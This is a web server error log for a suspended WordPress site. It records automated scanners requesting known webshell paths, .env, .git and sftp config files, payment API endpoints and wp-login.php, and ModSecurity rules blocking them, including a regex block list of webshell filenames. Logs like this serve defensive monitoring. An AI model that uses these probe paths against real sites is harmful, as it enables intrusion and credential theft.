2026/03/11 04:55:12 [error] 3461#3461: *470549 openat() "/usr/local/apache/htdocs/suspended-page/wp-content/plugins/shell/about.php" failed (2: No such file or directory), client: 213.199.34.224, server: windfarmcoolants.com.au, request: "GET /wp-content/plugins/shell/about.php HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "www.google.com"
2026/03/11 04:55:54 [error] 3464#3464: *471038 openat() "/usr/local/apache/htdocs/suspended-page/wp-content/plugins/pwnd/pwnd.php" failed (2: No such file or directory), client: 213.199.34.224, server: windfarmcoolants.com.au, request: "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "www.google.com"
2026/03/11 04:56:31 [error] 3471#3471: *471488 openat() "/usr/local/apache/htdocs/suspended-page/wp-content/plugins/fix/up.php" failed (2: No such file or directory), client: 213.199.34.224, server: windfarmcoolants.com.au, request: "GET /wp-content/plugins/fix/up.php HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "www.google.com"
2026/03/11 04:57:08 [error] 3460#3460: *471874 openat() "/usr/local/apache/htdocs/suspended-page/wp-content/plugins/ph-file-manager/wp-file.php" failed (2: No such file or directory), client: 213.199.34.224, server: windfarmcoolants.com.au, request: "GET /wp-content/plugins/ph-file-manager/wp-file.php HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "www.google.com"
2026/03/11 04:57:48 [error] 3468#3468: *472317 openat() "/usr/local/apache/htdocs/suspended-page/wp-content/plugins/root-file-manager/wp-file.php" failed (2: No such file or directory), client: 213.199.34.224, server: windfarmcoolants.com.au, request: "GET /wp-content/plugins/root-file-manager/wp-file.php HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "www.google.com"
2026/03/11 04:58:27 [error] 3471#3471: *472756 openat() "/usr/local/apache/htdocs/suspended-page/wp-content/plugins/wp-help/mini.php" failed (2: No such file or directory), client: 213.199.34.224, server: windfarmcoolants.com.au, request: "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "www.google.com"
2026/03/11 04:59:13 [error] 3470#3470: *473266 openat() "/usr/local/apache/htdocs/suspended-page/wp-content/themes/travel/issue.php" failed (2: No such file or directory), client: 213.199.34.224, server: windfarmcoolants.com.au, request: "GET /wp-content/themes/travel/issue.php HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "www.google.com"
2026/03/11 05:00:12 [error] 3460#3460: *473939 openat() "/usr/local/apache/htdocs/suspended-page/wp-content/themes/jaida/lang.php" failed (2: No such file or directory), client: 213.199.34.224, server: windfarmcoolants.com.au, request: "GET /wp-content/themes/jaida/lang.php HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "www.google.com"
2026/03/11 06:47:10 [error] 3468#3468: *541230 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 74.7.241.175, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 07:17:58 [error] 3462#3462: *564463 openat() "/usr/local/apache/htdocs/suspended-page/txets.php" failed (2: No such file or directory), client: 64.89.163.10, server: windfarmcoolants.com.au, request: "GET /txets.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 07:17:59 [error] 3463#3463: *564471 openat() "/usr/local/apache/htdocs/suspended-page/wp-content/txets.php" failed (2: No such file or directory), client: 64.89.163.10, server: windfarmcoolants.com.au, request: "GET /wp-content/txets.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 07:18:00 [error] 3471#3471: *564480 openat() "/usr/local/apache/htdocs/suspended-page/wp-includes/widgets/txets.php" failed (2: No such file or directory), client: 64.89.163.10, server: windfarmcoolants.com.au, request: "GET /wp-includes/widgets/txets.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 07:18:00 [error] 3463#3463: *564488 openat() "/usr/local/apache/htdocs/suspended-page/wp-includes/rest-api/txets.php" failed (2: No such file or directory), client: 64.89.163.10, server: windfarmcoolants.com.au, request: "GET /wp-includes/rest-api/txets.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 07:18:01 [error] 3467#3467: *564494 openat() "/usr/local/apache/htdocs/suspended-page/wp-includes/blocks/post-template/txets.php" failed (2: No such file or directory), client: 64.89.163.10, server: windfarmcoolants.com.au, request: "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 07:18:01 [error] 3471#3471: *564499 openat() "/usr/local/apache/htdocs/suspended-page/wp-admin/txets.php" failed (2: No such file or directory), client: 64.89.163.10, server: windfarmcoolants.com.au, request: "GET /wp-admin/txets.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 07:18:02 [error] 3464#3464: *564507 openat() "/usr/local/apache/htdocs/suspended-page/wp-includes/txets.php" failed (2: No such file or directory), client: 64.89.163.10, server: windfarmcoolants.com.au, request: "GET /wp-includes/txets.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 07:18:02 [error] 3471#3471: *564513 openat() "/usr/local/apache/htdocs/suspended-page/schallfuns.php" failed (2: No such file or directory), client: 64.89.163.10, server: windfarmcoolants.com.au, request: "GET /schallfuns.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 07:18:02 [error] 3471#3471: *564521 openat() "/usr/local/apache/htdocs/suspended-page/postnews.php" failed (2: No such file or directory), client: 64.89.163.10, server: windfarmcoolants.com.au, request: "GET /postnews.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 07:48:39 [error] 3470#3470: *581828 openat() "/usr/local/apache/htdocs/suspended-page/wp-login.php" failed (2: No such file or directory), client: 209.87.169.93, server: windfarmcoolants.com.au, request: "GET /wp-login.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 09:05:37 [error] 3466#3466: *626043 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 72.13.46.10, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "www.windfarmcoolants.com.au"
2026/03/11 09:44:20 [error] 53947#53947: *645115 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 35.212.164.28, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 10:34:39 [error] 53944#53944: *671244 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 173.252.87.63, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 11:01:15 [error] 53941#53941: *685780 openat() "/usr/local/apache/htdocs/suspended-page/wp-json/wp/v2/posts" failed (2: No such file or directory), client: 184.82.163.250, server: windfarmcoolants.com.au, request: "GET /wp-json/wp/v2/posts HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 11:52:45 [error] 53947#53947: *717234 openat() "/usr/local/apache/htdocs/suspended-page/wp-json/wp/v2/posts" failed (2: No such file or directory), client: 163.53.18.25, server: windfarmcoolants.com.au, request: "GET /wp-json/wp/v2/posts HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 12:07:31 [error] 53946#53946: *727466 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 104.210.140.138, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 12:07:32 [error] 53948#53948: *727483 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 104.210.140.129, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 12:26:13 [error] 53948#53948: *740242 openat() "/usr/local/apache/htdocs/suspended-page/wp-json/wc/v3/payment_gateways" failed (2: No such file or directory), client: 79.127.155.203, server: windfarmcoolants.com.au, request: "GET /wp-json/wc/v3/payment_gateways HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 12:26:13 [error] 53947#53947: *740251 openat() "/usr/local/apache/htdocs/suspended-page/wp-json/wc/v2/payment_gateways" failed (2: No such file or directory), client: 79.127.155.203, server: windfarmcoolants.com.au, request: "GET /wp-json/wc/v2/payment_gateways HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 12:26:14 [error] 53948#53948: *740258 openat() "/usr/local/apache/htdocs/suspended-page/wp-json/wc/store/v1/cart" failed (2: No such file or directory), client: 79.127.155.203, server: windfarmcoolants.com.au, request: "GET /wp-json/wc/store/v1/cart HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 12:26:15 [error] 53947#53947: *740267 openat() "/usr/local/apache/htdocs/suspended-page/wp-json/wc/store/v1/payment_methods" failed (2: No such file or directory), client: 79.127.155.203, server: windfarmcoolants.com.au, request: "GET /wp-json/wc/store/v1/payment_methods HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 14:24:44 [error] 53941#53941: *815273 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 51.161.37.12, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 14:46:47 [error] 53948#53948: *825996 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 74.7.241.141, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "www.windfarmcoolants.com.au"
2026/03/11 18:20:06 [error] 53940#53940: *979727 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 173.252.69.113, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 19:14:16 [error] 53948#53948: *1019932 openat() "/usr/local/apache/htdocs/suspended-page/.env" failed (2: No such file or directory), client: 82.29.199.16, server: windfarmcoolants.com.au, request: "GET /.env HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 19:14:16 [error] 53947#53947: *1019933 openat() "/usr/local/apache/htdocs/suspended-page/app/.env" failed (2: No such file or directory), client: 82.29.199.16, server: windfarmcoolants.com.au, request: "GET /app/.env HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 19:14:16 [error] 53944#53944: *1019934 openat() "/usr/local/apache/htdocs/suspended-page/core/.env" failed (2: No such file or directory), client: 82.29.199.16, server: windfarmcoolants.com.au, request: "GET /core/.env HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 20:39:42 [error] 53947#53947: *1082605 openat() "/usr/local/apache/htdocs/suspended-page/images/images/cache.php" failed (2: No such file or directory), client: 176.65.149.170, server: windfarmcoolants.com.au, request: "GET /images/images/cache.php HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 22:42:04 [error] 53947#53947: *1170325 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 15.235.27.139, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 22:50:09 [error] 53946#53946: *1176012 openat() "/usr/local/apache/htdocs/suspended-page/wp-json/wp/v2/posts" failed (2: No such file or directory), client: 15.204.204.131, server: windfarmcoolants.com.au, request: "GET /wp-json/wp/v2/posts HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/12 01:00:44 [error] 53500#53500: *1270472 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 40.77.167.184, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/12 01:00:58 [error] 53445#53445: *1270652 "/usr/local/apache/htdocs/suspended-page/home/info_bullet_three/index.html" is not found (2: No such file or directory), client: 52.167.144.21, server: windfarmcoolants.com.au, request: "GET /home/info_bullet_three/ HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/12 02:22:20 [error] 53483#53483: *1326242 "/usr/local/apache/htdocs/suspended-page/home/benefit_image_id/index.html" is not found (2: No such file or directory), client: 14.173.115.240, server: windfarmcoolants.com.au, request: "GET /home/benefit_image_id/ HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/12 02:49:09 [error] 53500#53500: *1343548 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 52.167.144.64, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/12 02:49:17 [error] 53494#53494: *1343629 openat() "/usr/local/apache/htdocs/suspended-page/sitemap_index.xml" failed (2: No such file or directory), client: 40.77.167.30, server: windfarmcoolants.com.au, request: "GET /sitemap_index.xml HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/12 05:44:49 [error] 58921#58921: *1429896 openat() "/usr/local/apache/htdocs/suspended-page/favicon.ico" failed (2: No such file or directory), client: 100.22.128.158, server: windfarmcoolants.com.au, request: "GET /favicon.ico HTTP/1.1", host: "www.windfarmcoolants.com.au", referrer: "https://www.windfarmcoolants.com.au/"
2026/03/12 05:44:52 [error] 58917#58917: *1429935 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 172.121.216.102, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "https://windfarmcoolants.com.au/"
2026/03/12 05:45:04 [error] 58922#58922: *1430034 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 38.128.156.87, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "www.windfarmcoolants.com.au", referrer: "https://www.windfarmcoolants.com.au/"
[Thu Mar 12 08:20:22.843020 2026] [:error] [pid 11985:tid 12001] [client 34.48.116.172:38470] [client 34.48.116.172] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "abIGxncAcNujsOssVDfJmQAAAYo"]
[Thu Mar 12 08:54:04.262378 2026] [:error] [pid 8249:tid 8267] [client 195.154.174.131:56638] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Thu Mar 12 13:42:16.784718 2026] [:error] [pid 11985:tid 11993] [client 209.141.54.90:41920] [client 209.141.54.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.54.90, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abJSOHcAcNujsOssVDf0VgAAAYI"]
[Thu Mar 12 13:42:16.789007 2026] [:error] [pid 11985:tid 11993] [client 209.141.54.90:41920] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Mar 12 14:46:09.708435 2026] [:error] [pid 22063:tid 22086] [client 146.70.221.132:35121] [client 146.70.221.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.221.132, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abJhMa0RUhS-MJyHWLTcigAAAhU"]
[Thu Mar 12 14:46:09.711873 2026] [:error] [pid 22063:tid 22086] [client 146.70.221.132:35121] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Mar 12 15:58:07.259770 2026] [:error] [pid 51540:tid 51551] [client 195.154.174.131:41008] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Thu Mar 12 16:26:18.357864 2026] [:error] [pid 51455:tid 51479] [client 52.138.0.148:56070] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Thu Mar 12 16:26:18.873450 2026] [:error] [pid 51455:tid 51460] [client 52.138.0.148:56070] [client 52.138.0.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.138.0.148, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "abJ4qpE0YyNxdg6PL_D_rgAAAAA"]
[Thu Mar 12 16:26:19.137069 2026] [:error] [pid 51455:tid 51478] [client 52.138.0.148:56070] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-corn-sample.php
[Thu Mar 12 16:26:20.179490 2026] [:error] [pid 51455:tid 51461] [client 52.138.0.148:56070] File does not exist: /usr/local/apache/htdocs/suspended-page/server.php
[Thu Mar 12 16:26:20.960106 2026] [:error] [pid 51455:tid 51484] [client 52.138.0.148:56070] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Thu Mar 12 16:26:21.216734 2026] [:error] [pid 51455:tid 51479] [client 52.138.0.148:56070] [client 52.138.0.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abJ4rZE0YyNxdg6PL_D_wAAAABM"]
[Thu Mar 12 16:26:22.099814 2026] [:error] [pid 22063:tid 22072] [client 52.138.0.148:13861] [client 52.138.0.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abJ4rq0RUhS-MJyHWLT7VgAAAgc"]
[Thu Mar 12 16:26:23.080292 2026] [:error] [pid 51455:tid 51476] [client 52.138.0.148:56102] [client 52.138.0.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abJ4r5E0YyNxdg6PL_D_zQAAABA"]
[Thu Mar 12 16:26:24.123305 2026] [:error] [pid 51455:tid 51466] [client 52.138.0.148:56095] [client 52.138.0.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abJ4sJE0YyNxdg6PL_D_1QAAAAY"]
[Thu Mar 12 18:26:33.307998 2026] [:error] [pid 11953:tid 11960] [client 103.65.236.149:57102] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "abKU2Zudzqsnq3bvtDYhYgAAAUU"]
[Thu Mar 12 18:26:33.526453 2026] [:error] [pid 51455:tid 51484] [client 103.65.236.149:57119] [client 103.65.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "abKU2ZE0YyNxdg6PL_AvnQAAABg"]
[Thu Mar 12 22:30:51.124404 2026] [:error] [pid 20528:tid 20554] [client 35.237.6.187:51636] [client 35.237.6.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "abLOG6nDNsf46-tKxqkbAgAAAxQ"]
[Fri Mar 13 00:45:56.650825 2026] [:error] [pid 48029:tid 48033] [client 195.154.174.131:45844] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Fri Mar 13 05:06:22.176188 2026] [:error] [pid 44755:tid 44780] [client 216.24.219.213:31015] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Fri Mar 13 05:06:22.448393 2026] [:error] [pid 44755:tid 44757] [client 216.24.219.213:31015] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Fri Mar 13 05:06:22.728966 2026] [:error] [pid 44755:tid 44781] [client 216.24.219.213:31015] [client 216.24.219.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "abMqzvONf1H0XrBFE4NL6QAAARg"]
[Fri Mar 13 05:06:24.371860 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Fri Mar 13 05:06:24.888001 2026] [:error] [pid 44755:tid 44776] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Fri Mar 13 05:06:25.224193 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Fri Mar 13 05:06:25.567365 2026] [:error] [pid 44755:tid 44770] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Fri Mar 13 05:06:25.847958 2026] [:error] [pid 44755:tid 44780] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Fri Mar 13 05:06:26.166605 2026] [:error] [pid 44755:tid 44769] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri Mar 13 05:06:26.466768 2026] [:error] [pid 44755:tid 44766] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Fri Mar 13 05:06:26.730644 2026] [:error] [pid 44755:tid 44771] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Fri Mar 13 05:06:27.025866 2026] [:error] [pid 44755:tid 44780] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Fri Mar 13 05:06:27.317451 2026] [:error] [pid 44755:tid 44774] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Fri Mar 13 05:06:27.639149 2026] [:error] [pid 44755:tid 44759] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Fri Mar 13 05:06:29.846339 2026] [:error] [pid 44755:tid 44759] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Fri Mar 13 05:06:30.108274 2026] [:error] [pid 44755:tid 44760] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Fri Mar 13 05:06:30.391476 2026] [:error] [pid 44755:tid 44780] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri Mar 13 05:06:30.704585 2026] [:error] [pid 44755:tid 44779] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-api.php
[Fri Mar 13 05:06:30.981002 2026] [:error] [pid 44755:tid 44764] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Fri Mar 13 05:06:31.296403 2026] [:error] [pid 44755:tid 44763] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Fri Mar 13 05:06:31.573007 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Fri Mar 13 05:06:31.847532 2026] [:error] [pid 44755:tid 44775] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/warm.PhP
[Fri Mar 13 05:06:32.183660 2026] [:error] [pid 44755:tid 44758] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Fri Mar 13 05:06:32.450600 2026] [:error] [pid 44755:tid 44768] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Fri Mar 13 05:06:32.825773 2026] [:error] [pid 44755:tid 44774] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Fri Mar 13 05:06:33.223915 2026] [:error] [pid 44755:tid 44777] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Fri Mar 13 05:06:33.524020 2026] [:error] [pid 44755:tid 44781] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Fri Mar 13 05:06:33.832941 2026] [:error] [pid 44755:tid 44768] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Fri Mar 13 05:06:34.102832 2026] [:error] [pid 44755:tid 44774] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Fri Mar 13 05:06:34.414336 2026] [:error] [pid 44755:tid 44776] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Fri Mar 13 05:06:34.704200 2026] [:error] [pid 44755:tid 44764] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Fri Mar 13 05:06:35.023657 2026] [:error] [pid 44755:tid 44776] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Fri Mar 13 05:06:35.290711 2026] [:error] [pid 44755:tid 44771] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Fri Mar 13 05:06:35.573443 2026] [:error] [pid 44755:tid 44757] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Fri Mar 13 05:06:35.842409 2026] [:error] [pid 44755:tid 44774] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Fri Mar 13 05:06:38.029563 2026] [:error] [pid 44755:tid 44774] [client 136.144.19.64:26527] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Fri Mar 13 05:06:38.308339 2026] [:error] [pid 44755:tid 44772] [client 136.144.19.64:26527] [client 136.144.19.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "abMq3vONf1H0XrBFE4NMtwAAAQ8"]
[Fri Mar 13 05:06:38.897116 2026] [:error] [pid 44755:tid 44766] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Fri Mar 13 05:06:39.194813 2026] [:error] [pid 44755:tid 44764] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Fri Mar 13 05:06:39.455753 2026] [:error] [pid 44755:tid 44757] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Fri Mar 13 05:06:39.728989 2026] [:error] [pid 44755:tid 44774] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Fri Mar 13 05:06:40.003822 2026] [:error] [pid 44755:tid 44777] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Fri Mar 13 05:06:40.269833 2026] [:error] [pid 44755:tid 44778] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Fri Mar 13 05:06:40.541531 2026] [:error] [pid 44755:tid 44758] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
